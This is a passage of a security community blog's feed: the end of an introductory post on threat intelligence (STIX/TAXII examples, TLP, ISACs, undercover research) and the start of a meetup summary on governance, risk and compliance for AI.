class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"type"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"malware"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"id"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"malware--81be4588-96a8-4de2-9938-9e16130ce7e6"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"spec_version"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2.1"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"created"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2017-02-06T09:26:21.647000Z"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"modified"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2017-02-06T09:26:21.647000Z"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"name"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"CryptoLocker"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"description"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"CryptoLocker is known to be malicious ransomware."</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"malware_types"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(248, 248, 242)">[</span><span class="token string" style="color:rgb(255, 121, 198)">"ransomware"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">]</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">    </span><span class="token punctuation" style="color:rgb(248, 248, 242)">}</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">    </span><span class="token punctuation" style="color:rgb(248, 248, 242)">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"type"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"relationship"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"id"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"relationship--a19fac85-f6f5-47f3-aacd-4bfb54557852"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"spec_version"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2.1"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"created"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2017-02-06T09:30:51.987000Z"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"modified"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2017-02-06T09:30:51.987000Z"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"relationship_type"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"indicates"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"source_ref"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"indicator--71312c48-925d-44b7-b10e-c11086995358"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">      </span><span class="token property">"target_ref"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"malware--81be4588-96a8-4de2-9938-9e16130ce7e6"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">    </span><span class="token punctuation" style="color:rgb(248, 248, 242)">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(248, 248, 242)">]</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain"></span><span class="token punctuation" style="color:rgb(248, 248, 242)">}</span><br></div></code></pre></div></div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="3-stix-consumer-company-b--sightings">3. STIX Consumer: Company B &amp; Sightings<a href="https://blog.haxnation.org/ti#3-stix-consumer-company-b--sightings" class="hash-link" aria-label="Direct link to 3. STIX Consumer: Company B &amp; Sightings" title="Direct link to 3. STIX Consumer: Company B &amp; Sightings" translate="no">​</a></h4>
<p>Company B subscribes to the TAXII server and pulls Company A's bundle.</p>
<ul>
<li class="">Company B runs a search across their endpoints and finds the same hash on their network!</li>
<li class="">To notify the community that the threat is active in the wild, Company B creates a <strong>Sighting SRO</strong>:</li>
</ul>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#F8F8F2;--prism-background-color:#282A36"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#F8F8F2;background-color:#282A36"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#F8F8F2"><span class="token punctuation" style="color:rgb(248, 248, 242)">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"type"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"sighting"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"id"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"sighting--4eebf1e1-5351-49ed-9b7b-28f0da806d82"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"spec_version"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2.1"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"created"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2017-02-07T20:08:31.154Z"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"modified"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"2017-02-07T20:08:31.154Z"</span><span class="token punctuation" style="color:rgb(248, 248, 242)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">  </span><span class="token property">"sighting_of_ref"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(255, 121, 198)">"indicator--71312c48-925d-44b7-b10e-c11086995358"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain"></span><span class="token punctuation" style="color:rgb(248, 248, 242)">}</span><br></div></code></pre></div></div>
<p><img decoding="async" loading="lazy" src="https://oasis-open.github.io/cti-documentation/img/sighting-of-an-indicator.PNG" alt="STIX Sighting Diagram" class="img_ev3q"></p>
<p><em>Figure 5: STIX Sighting SRO communicating that an Indicator was observed in the wild.</em></p>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="taxii-trusted-automated-exchange-of-indicator-information">TAXII (Trusted Automated Exchange of Indicator Information)<a href="https://blog.haxnation.org/ti#taxii-trusted-automated-exchange-of-indicator-information" class="hash-link" aria-label="Direct link to TAXII (Trusted Automated Exchange of Indicator Information)" title="Direct link to TAXII (Trusted Automated Exchange of Indicator Information)" translate="no">​</a></h3>
<ul>
<li class=""><strong>What is it?</strong> TAXII is the <strong>transport mechanism</strong> (the "how").</li>
<li class="">It is the application-layer protocol used to transport STIX data over HTTPS.</li>
<li class="">It defines how intelligence is shared, allowing systems to "push" or "pull" data automatically to and from centralized servers via API endpoints and Collections.</li>
</ul>
<p><img decoding="async" loading="lazy" src="https://oasis-open.github.io/cti-documentation/img/taxii_diagram2.png" alt="TAXII Architecture" class="img_ev3q"></p>
<p><em>Figure 6: TAXII Architecture showing Producer publishing to TAXII Server and Consumer pulling intelligence feeds.</em></p>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-do-we-ingest-threat-feeds-using-stix-and-taxii-to-our-siem">How do we ingest threat feeds using STIX and TAXII to our SIEM?<a href="https://blog.haxnation.org/ti#how-do-we-ingest-threat-feeds-using-stix-and-taxii-to-our-siem" class="hash-link" aria-label="Direct link to How do we ingest threat feeds using STIX and TAXII to our SIEM?" title="Direct link to How do we ingest threat feeds using STIX and TAXII to our SIEM?" translate="no">​</a></h3>
<p>Getting this data into your SIEM (like Splunk, Microsoft Sentinel, or QRadar) is a game-changer for automated defense:</p>
<ol>
<li class=""><strong>The TAXII Server:</strong> A TI provider (or an ISAC) hosts a TAXII Server containing Collections of STIX data.</li>
<li class=""><strong>The TAXII Client / TIP:</strong> Your organization configures a TAXII Client within your SIEM, or uses a Threat Intelligence Platform (TIP) like ThreatConnect, Anomali, or OpenCTI as middleware.</li>
<li class=""><strong>Polling and Transformation:</strong> The client authenticates (via API keys or mTLS certificates) and subscribes to a TAXII Collection. It periodically polls the server for new STIX JSON files.</li>
<li class=""><strong>SIEM Ingestion:</strong> The SIEM parses the STIX JSON, normalizes the fields, and extracts the actionable indicators (IPs, hashes, domains). It automatically writes these to dynamic Watchlists or Threat Indicator Lookups.</li>
<li class=""><strong>Correlation:</strong> The SIEM runs correlation rules that constantly compare incoming telemetry (firewall logs, DNS queries, authentication logs) against these Watchlists. If a match is found, a high-fidelity alert is instantly generated for the SOC!</li>
</ol>
<blockquote>
<p><strong>TL;DR:</strong> STIX is the standardized format of the threat data, TAXII is the secure delivery truck, and your SIEM acts as the automated warehouse that processes the deliveries to catch bad guys instantly.</p>
</blockquote>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="traffic-light-protocol-tlp-v20-how-we-share-intel-safely">Traffic Light Protocol (TLP v2.0): How We Share Intel Safely<a href="https://blog.haxnation.org/ti#traffic-light-protocol-tlp-v20-how-we-share-intel-safely" class="hash-link" aria-label="Direct link to Traffic Light Protocol (TLP v2.0): How We Share Intel Safely" title="Direct link to Traffic Light Protocol (TLP v2.0): How We Share Intel Safely" translate="no">​</a></h2>
<p>When intelligence is shared across organizations or ISACs, how do we know who is allowed to see it? We use the <strong>Traffic Light Protocol (TLP)</strong> maintained by FIRST:</p>
<ul>
<li class=""><strong>TLP:RED (For your eyes only):</strong> Restricted to participants in the meeting or conversation only. Cannot be shared outside.</li>
<li class=""><strong>TLP:AMBER+STRICT (Organization only):</strong> Restricted to members of your organization only.</li>
<li class=""><strong>TLP:AMBER (Organization &amp; Clients):</strong> Restricted to your organization and its clients who need to know to protect themselves.</li>
<li class=""><strong>TLP:GREEN (Community wide):</strong> Can be shared within the broader sector, partner organizations, and peers, but not publicly.</li>
<li class=""><strong>TLP:CLEAR (Public):</strong> No restrictions. Information is open for the public.</li>
</ul>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="major-providers-of-ti">Major Providers of TI<a href="https://blog.haxnation.org/ti#major-providers-of-ti" class="hash-link" aria-label="Direct link to Major Providers of TI" title="Direct link to Major Providers of TI" translate="no">​</a></h2>
<p>You don't have to build all this intelligence yourself. There are major players who do this for a living:</p>
<ul>
<li class=""><strong>Mandiant (Google Cloud):</strong> Famous for their deep-dive incident response and nation-state tracking.</li>
<li class=""><strong>CrowdStrike (Falcon Intelligence):</strong> Known for attributing attacks to specific adversaries (they name them after animals like Fancy Bear or Spider).</li>
<li class=""><strong>Recorded Future:</strong> A massive intelligence aggregator that scrapes the open, deep, and dark web.</li>
<li class=""><strong>Anomali, ThreatConnect &amp; OpenCTI:</strong> Leaders in Threat Intelligence Platforms (TIPs) that help you manage and ingest feeds.</li>
<li class=""><strong>VirusTotal:</strong> The community-driven powerhouse for malware analysis and basic indicator reputation.</li>
</ul>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="isacs-information-sharing-and-analysis-centers">ISACs: Information Sharing and Analysis Centers<a href="https://blog.haxnation.org/ti#isacs-information-sharing-and-analysis-centers" class="hash-link" aria-label="Direct link to ISACs: Information Sharing and Analysis Centers" title="Direct link to ISACs: Information Sharing and Analysis Centers" translate="no">​</a></h2>
<p>Okay, so we can buy data from providers. But <em>who</em> else are we sharing it with? Enter <strong>ISACs</strong>.</p>
<ul>
<li class=""><strong>What are they?</strong> ISACs are sector-specific, member-driven, non-profit organizations that serve as trusted hubs for sharing cyber threat intelligence among competing companies in the same industry.</li>
<li class=""><strong>Examples:</strong> <strong>FS-ISAC</strong> (Financial Services), <strong>Health-ISAC</strong>, <strong>Energy-ISAC</strong>, <strong>Auto-ISAC</strong>.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-do-they-exist-if-you-have-internal-teams-and-commercial-feeds">Why do they exist if you have internal teams and commercial feeds?<a href="https://blog.haxnation.org/ti#why-do-they-exist-if-you-have-internal-teams-and-commercial-feeds" class="hash-link" aria-label="Direct link to Why do they exist if you have internal teams and commercial feeds?" title="Direct link to Why do they exist if you have internal teams and commercial feeds?" translate="no">​</a></h3>
<p>Commercial feeds are great for broad indicators. But ISACs solve a unique problem: <strong>secure, sector-specific, real-time sharing among peers.</strong></p>
<ul>
<li class=""><strong>Collective Defense:</strong> Members contribute their own observed incidents (often anonymized). The ISAC analyzes this and warns others: <em>"APT29 is actively targeting the financial sector today, here are the exact TTPs seen in 12 similar banks last week."</em></li>
<li class=""><strong>Legal &amp; Trust Framework:</strong> They use secure platforms (powered by STIX/TAXII and TLP!) and have strict legal agreements to protect liability when sharing breach details.</li>
<li class=""><strong>Early Warning:</strong> They capture novel TTPs and emerging threats that commercial feeds might lag on, acting as a highly trusted, peer-to-peer early warning system.</li>
</ul>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="real-life-ti-why-this-field-is-actually-fun">Real-Life TI: Why This Field is Actually Fun!<a href="https://blog.haxnation.org/ti#real-life-ti-why-this-field-is-actually-fun" class="hash-link" aria-label="Direct link to Real-Life TI: Why This Field is Actually Fun!" title="Direct link to Real-Life TI: Why This Field is Actually Fun!" translate="no">​</a></h2>
<p>If you think TI is just staring at spreadsheets of IP addresses, you are missing the best parts. This field is a literal global game of digital cat-and-mouse.</p>
<ul>
<li class=""><strong>The SolarWinds Discovery:</strong> A perfect real-life example is how Mandiant discovered the massive SolarWinds supply-chain attack. They didn't find it by looking for SolarWinds. A Mandiant analyst noticed a bizarre, mundane anomaly: an unauthorized device registering for 2FA on their own network. By pulling that tiny thread using threat intelligence and forensics, they uncovered "SUNBURST", one of the most sophisticated espionage campaigns in history by a Russian intelligence agency. That is pure detective work!</li>
<li class=""><strong>Tracking Cyber Heists:</strong> Analysts track North Korean groups (like Lazarus) who literally hack banks and crypto exchanges to fund their nation's missile programs. By mapping their infrastructure, analysts can sometimes predict and disrupt massive heists before they happen.</li>
<li class=""><strong>De-anonymizing Hackers:</strong> It’s incredibly satisfying to reverse-engineer malware, find a careless mistake the author left behind (like a hardcoded nickname or a timezone), and use that intel to trace the attack back to a specific building on the other side of the world.</li>
</ul>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-cti-experts-interact-with-apts-undercover-work">How CTI Experts Interact with APTs (Undercover Work!)<a href="https://blog.haxnation.org/ti#how-cti-experts-interact-with-apts-undercover-work" class="hash-link" aria-label="Direct link to How CTI Experts Interact with APTs (Undercover Work!)" title="Direct link to How CTI Experts Interact with APTs (Undercover Work!)" translate="no">​</a></h2>
<p>Now for the spicy part! How do analysts actually research these APTs from the ground level?</p>
<ul>
<li class=""><strong>Going Undercover:</strong> Analysts venture into the dark web, join ransomware RSVP channels, or infiltrate Telegram chats.</li>
<li class=""><strong>Social Engineering:</strong> They use social engineering techniques to make threat actors believe they are eligible to work as affiliates for them.</li>
<li class=""><strong>The Language Game:</strong> They have to learn how people <em>actually</em> communicate in their native languages.</li>
</ul>
<blockquote>
<p><strong>An example for our Indian readers:</strong> We don't write Hindi the exact same way we speak it. Someone living in Maharashtra will incorporate Marathi words here and there and same goes for other places around the world as well!! If an analyst uses an LLM to talk to threat actors, they will easily get detected because the LLM uses pure dictionary words.</p>
</blockquote>
<ul>
<li class=""><strong>Initiation Rites:</strong> Sometimes APTs ask for a blockchain payment as a "signup fee" to prove you are serious. A "smaller" task might even involve you performing a pentest on a target(illegally, of course!! to prove your skills!! that's what they say!!)</li>
</ul>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="references-and-further-reading">References and Further Reading<a href="https://blog.haxnation.org/ti#references-and-further-reading" class="hash-link" aria-label="Direct link to References and Further Reading" title="Direct link to References and Further Reading" translate="no">​</a></h2>
<p>For those who want to dive deeper into the rabbit hole of Cyber Threat Intelligence:</p>
<ul>
<li class=""><strong>STIX 2.1 Specification:</strong> <a href="https://docs.oasis-open.org/cti/stix/v2.1/os/stix-v2.1-os.html" target="_blank" rel="noopener noreferrer" class="">OASIS STIX v2.1 Official Standard</a></li>
<li class=""><strong>TAXII 2.1 Specification:</strong> <a href="https://docs.oasis-open.org/cti/taxii/v2.1/os/taxii-v2.1-os.html" target="_blank" rel="noopener noreferrer" class="">OASIS TAXII v2.1 Documentation</a></li>
<li class=""><strong>The Diamond Model of Intrusion Analysis:</strong> Sergio Caltagirone, Andrew Pendergast, Christopher Betz (2013) - <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond_intrusion_model.pdf" target="_blank" rel="noopener noreferrer" class="">A Technical Report on the Diamond Model</a></li>
<li class=""><strong>Diamond Model Deep Dive:</strong> <a href="https://anticitizenone.medium.com/the-diamond-model-of-intrusion-analysis-cf24934b3c18" target="_blank" rel="noopener noreferrer" class="">The Diamond Model of Intrusion Analysis on Medium</a></li>
<li class=""><strong>Pyramid of Pain:</strong> David Bianco's original paper on <a href="https://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html" target="_blank" rel="noopener noreferrer" class="">The Pyramid of Pain</a></li>
<li class=""><strong>Traffic Light Protocol (TLP v2.0):</strong> <a href="https://www.first.org/tlp/" target="_blank" rel="noopener noreferrer" class="">FIRST Standards - TLP Version 2.0</a></li>
<li class=""><strong>MITRE ATT&amp;CK Framework:</strong> <a href="https://attack.mitre.org/" target="_blank" rel="noopener noreferrer" class="">MITRE ATT&amp;CK Matrix for Enterprise</a></li>
</ul>
<hr>
<p>And that’s a wrap, folks! This is your neela dal paglu signing off until next time!! See you there in the next blog, I have more things cooking!!</p>]]></content>
        <author>
            <name>Param Jasani</name>
            <uri>https://github.com/param-jasani</uri>
        </author>
        <category label="misc" term="misc"/>
        <category label="threat-intelligence" term="threat-intelligence"/>
        <category label="cti" term="cti"/>
        <category label="stix" term="stix"/>
        <category label="taxii" term="taxii"/>
        <category label="diamond-model" term="diamond-model"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Summary of Haxnation Mumbai Meetup held on 27th June 2026]]></title>
        <id>https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary</id>
        <link href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary"/>
        <updated>2026-08-09T04:00:00.000Z</updated>
        <summary type="html"><![CDATA[This blog is a summary of what was taught at  Haxnation Meetup Mumbai held on 27th June 2026.
]]></summary>
        <content type="html"><![CDATA[<p>This blog is a summary of what was taught at Haxnation Meetup Mumbai held on 27th June 2026.</p>
<style>
.diagram-container { margin: 1.5rem auto; max-width: 820px; text-align: center; }
.diagram-caption { font-size: 0.95rem; color: #3a3a3a; margin-top: 0.5rem; }
.diagram-img { width: 100%; max-width: 780px; border-radius: 8px; box-shadow: 0 12px 28px rgba(0,0,0,0.06); display: inline-block; }
.diagram-img.small-diagram { max-width: 350px; }
.diagram-svg { width: 100%; max-width: 780px; height: auto; display: inline-block; transition: transform 0.25s ease; }
.diagram-svg:hover { transform: scale(1.01); }
.diagram-text { font-family: ui-sans-serif, system-ui, sans-serif; fill: #4c7ece; font-size: 12px; }
.diagram-title { font-family: ui-sans-serif, system-ui, sans-serif; fill: #4c7ece; font-size: 13px; font-weight: 700; }
</style>
<p>Before beginning the summary, I would like to tell you that if you are reading this and you did'nt show up, then you missed some serious fun and learning, come down to meetups whenever you are free, this session was packed with back to back questionaire and we had a wonderfull time learning and having fun together.</p>
<p>Alright alright, enough with promoting our community, so before you all cuss me virtually or cuss me in your heads, I will begin with my usual thing of summarizing the meetup down.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="session-1-grc-in-the-ai-era-by-dr-deepak-kalambkar">Session 1: "GRC in the AI Era" by Dr. Deepak Kalambkar<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#session-1-grc-in-the-ai-era-by-dr-deepak-kalambkar" class="hash-link" aria-label="Direct link to Session 1: &quot;GRC in the AI Era&quot; by Dr. Deepak Kalambkar" title="Direct link to Session 1: &quot;GRC in the AI Era&quot; by Dr. Deepak Kalambkar" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-is-grc">What is GRC?<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#what-is-grc" class="hash-link" aria-label="Direct link to What is GRC?" title="Direct link to What is GRC?" translate="no">​</a></h3>
<p>GRC stands for Governance, Risk, and Compliance - the three core components that keep an organization secure and legally sound.</p>
<ul>
<li class=""><strong>Governance</strong>: <mark>The governance of all policies and procedures.</mark> Depending on our company's internal rules and goals, we prepare policies that dictate how things should be run.</li>
<li class=""><strong>Risk</strong>: <mark>Identifying the risks that are present in our organization</mark> and can negatively impact our business operations.</li>
<li class=""><strong>Compliance</strong>: <mark>Following the regulations put in place by various governing organizations.</mark> Depending on the field our company operates in, we must adhere to specific laws and standards (e.g., if we are in the financial sector, we must follow RBI guidelines; if dealing with healthcare, HIPAA; or DPDP Act for data protection in India).</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-grc-must-evolve-in-the-ai-era">Why GRC Must Evolve in the AI Era<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#why-grc-must-evolve-in-the-ai-era" class="hash-link" aria-label="Direct link to Why GRC Must Evolve in the AI Era" title="Direct link to Why GRC Must Evolve in the AI Era" translate="no">​</a></h3>
<p>Traditional GRC was designed for humans, operating at human speed with periodic audits and annual risk reviews. But what happens when AI runs the enterprise?</p>
<ul>
<li class="">AI operates 24x7 and processes millions of micro-decisions daily.</li>
<li class="">Our controls must match this velocity. Traditional frameworks often don't know what the AI is doing inside the organization in real-time.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-grcai-gap">The GRC–AI Gap<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#the-grcai-gap" class="hash-link" aria-label="Direct link to The GRC–AI Gap" title="Direct link to The GRC–AI Gap" translate="no">​</a></h4>
<ul>
<li class=""><strong>Risk Velocity:</strong> Traditional cycles are quarterly/annual. AI model drift is detectable in hours.</li>
<li class=""><strong>Decision Maker:</strong> Humans are auditable and explainable. Algorithms are often a black box.</li>
<li class=""><strong>Audit Trail:</strong> Traditional methods rely on documented sign-offs. AI makes billions of micro-decisions where logging everything is infeasible.</li>
<li class=""><strong>Regulatory Triggers:</strong> Traditional triggers involve data breaches. AI triggers involve algorithmic bias, hallucinations, and model outputs.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-ai-risk-landscape">The AI Risk Landscape<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#the-ai-risk-landscape" class="hash-link" aria-label="Direct link to The AI Risk Landscape" title="Direct link to The AI Risk Landscape" translate="no">​</a></h3>
<p>Dr. Deepak highlighted six critical categories every GRC professional must own:</p>
<ol>
<li class=""><strong>Model Risk (Hallucination &amp; Drift):</strong> AI confidently giving wrong answers. Model performance degrades silently over time.</li>
<li class=""><strong>Data Risk (Poisoning &amp; Privacy):</strong> Malicious training data corrupting model behavior. Processing personal data triggers DPDP obligations.</li>
<li class=""><strong>Ethical Risk (Bias &amp; Discrimination):</strong> AI reinforcing historical biases (gender, geography) in critical decisions like credit or hiring.</li>
<li class=""><strong>Governance Risk (Shadow AI):</strong> Employees adopting AI tools (like ChatGPT) without IT/GRC awareness. Ungoverned models mean ungoverned risk.</li>
<li class=""><strong>Supply Chain Risk (Third-Party AI Vendors):</strong> Assessing outsourced AI vendor risks, including training data lineage and architecture.</li>
<li class=""><strong>Compliance Risk (Explainability Failure):</strong> Regulators demanding to know <em>why</em> an AI made a certain decision. Without an Explainable AI (XAI) layer, this cannot be answered legally or ethically.</li>
</ol>
<blockquote>
<p><mark><strong>Note on BFSI Spotlight:</strong></mark>
In the financial sector, these risks manifest as AI credit scoring biases (e.g., scoring applicants lower based on geography instead of credit history) or fraud detection models silently failing and being overridden by operators without an audit trail.</p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="adapting-the-framework-the-4-layer-ai-governance-model">Adapting the Framework (The 4-Layer AI Governance Model)<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#adapting-the-framework-the-4-layer-ai-governance-model" class="hash-link" aria-label="Direct link to Adapting the Framework (The 4-Layer AI Governance Model)" title="Direct link to Adapting the Framework (The 4-Layer AI Governance Model)" translate="no">​</a></h3>
<p>We should extend, not replace, our existing frameworks (like ISO 27001, ISO 42001, NIST AI RMF, and RBI/SEBI guidelines). The 4-layer model includes:</p>
<ol>
<li class=""><strong>Govern</strong>: Board-level AI Risk Policy, AI Inventory, assigning an AI Owner, and establishing an AI Ethics Charter.</li>
<li class=""><strong>Identify</strong>: Conducting Model Risk Assessments, classifying training data, and mapping DPDP consent for AI inputs.</li>
<li class=""><strong>Control</strong>: Validating models, requiring an XAI layer, governing access to AI systems, and adversarial testing (red-teaming).</li>
<li class=""><strong>Monitor</strong>: Continuous model drift detection, automated compliance alerts, and quarterly performance audits.</li>
</ol>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="regulatory-reality-dpdp-act-2023">Regulatory Reality (DPDP Act 2023)<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#regulatory-reality-dpdp-act-2023" class="hash-link" aria-label="Direct link to Regulatory Reality (DPDP Act 2023)" title="Direct link to Regulatory Reality (DPDP Act 2023)" translate="no">​</a></h3>
<p>The DPDP (Digital Personal Data Protection) Act 2023 is live and AI is squarely in its scope:</p>
<ul>
<li class=""><strong>Consent is Required:</strong> Any AI system processing personal data to make decisions must obtain free, specific, and informed consent.</li>
<li class=""><strong>Right to Explanation:</strong> Data Principals can request explanations of automated decisions affecting them.</li>
<li class=""><strong>Data Fiduciary Duty:</strong> The organization remains liable even if an AI vendor processes the data.</li>
<li class=""><strong>Penalties:</strong> Up to INR 250 crore per violation!</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="5-things-to-do-on-monday-morning">5 Things to Do on Monday Morning<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#5-things-to-do-on-monday-morning" class="hash-link" aria-label="Direct link to 5 Things to Do on Monday Morning" title="Direct link to 5 Things to Do on Monday Morning" translate="no">​</a></h3>
<p>To summarize, here are the actionable steps for GRC professionals:</p>
<ol>
<li class=""><strong>Build your AI Inventory:</strong> List every AI model and SaaS tool in use before the regulator asks.</li>
<li class=""><strong>Appoint an AI Risk Owner:</strong> Assign a Model Risk Officer.</li>
<li class=""><strong>DPDP Consent Audit:</strong> Map all AI-driven processing against consent requirements.</li>
<li class=""><strong>Pilot ISO 42001 Controls:</strong> Pick a few controls like an AI risk register and vendor questionnaire.</li>
<li class=""><strong>Brief the Board:</strong> Make AI risk a Board agenda item.</li>
</ol>
<blockquote>
<p><em>"GRC professionals are the new AI guardians." - Dr. Deepak D. Kalambkar</em></p>
</blockquote>
<br>
